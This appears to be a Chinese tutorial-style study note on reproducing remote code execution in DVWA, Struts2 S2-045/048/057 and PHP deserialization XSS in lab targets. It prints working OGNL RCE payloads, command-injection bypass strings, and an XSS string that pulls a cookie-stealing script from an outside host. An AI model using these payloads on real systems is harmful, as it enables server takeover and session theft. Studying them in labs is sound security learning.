一.本文介绍
1、本文介绍远程代码执行、s2-045、s2-48、S2-057漏洞复现;XSS/cookie反序列化攻击。
2、环境准备:Pikachu、DVWA靶场、Struts2环境。
二.学习步骤
1、远程代码执行产生原理
因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
没有做严格的安全控制,则可能会导致攻击者控制整个后台服务器 。
2、系统命令
1. 执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
2. .htaccess: SetHandler, auto_prepend_file, auto_append_file
3. dvwa low && Medium & 或&;& High || (代码里面的|后有一个空格)
4.Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
LOW:&&ipconfig
Medium:&ipconfig
High:|| ipconfig(多个空格)
3、struts2命令执行漏洞
stru2 045:
用K8进行命令执行、获取目标信息、上马等:
stru2 048:
对存在漏洞的站进行RCE,获取信息等。主要受影响的Struts版本为:2.3.x
s2-057:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type="redirectAction"
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
4、反序列化
1. 什么是反序列化
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
2. 产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
3. XSS反序列化:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}4. 获取cookie反序列化:
O:1:"S":1:{s:4:"test";s:51:"</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/EsxA></sCrIpT>";}
网友评论